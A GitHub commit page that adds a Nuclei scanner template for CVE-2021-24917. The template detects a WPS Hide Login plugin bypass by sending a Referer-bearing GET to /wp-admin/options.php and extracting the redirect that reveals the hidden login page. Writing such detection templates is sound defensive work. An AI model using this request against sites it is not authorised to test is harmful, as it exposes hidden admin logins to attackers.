Merge pull request #5274 from projectdiscovery/CVE-2021-24917

Create CVE-2021-24917.yaml
patch-1
Prince Chaddha 2022-09-01 16:37:22 +05:30 committed by GitHub
commit 4cfbf29522
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 38 additions and 0 deletions

View File

@ -0,0 +1,38 @@
id: CVE-2021-24917
info:
name: WPS Hide Login < 1.9.1 - Protection Bypass with Referer-Header
author: akincibor
severity: low
description: The plugin has a bug which allows to get the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user.
remediation: Fixed in version 1.9.1
reference:
- https://wpscan.com/vulnerability/15bb711a-7d70-4891-b7a2-c473e3e8b375
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24917
- https://nvd.nist.gov/vuln/detail/CVE-2021-24917
metadata:
verified: true
tags: cve,cve2021,wp,wordpress,wp-plugin,unauth
requests:
- raw:
- |
GET /wp-admin/options.php HTTP/1.1
Host: {{Hostname}}
Referer: something
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'redirect_to=%2Fwp-admin%2Fsomething&reauth=1'
- type: dsl
dsl:
- "!contains(tolower(location), 'wp-login.php')"
extractors:
- type: kval
kval:
- location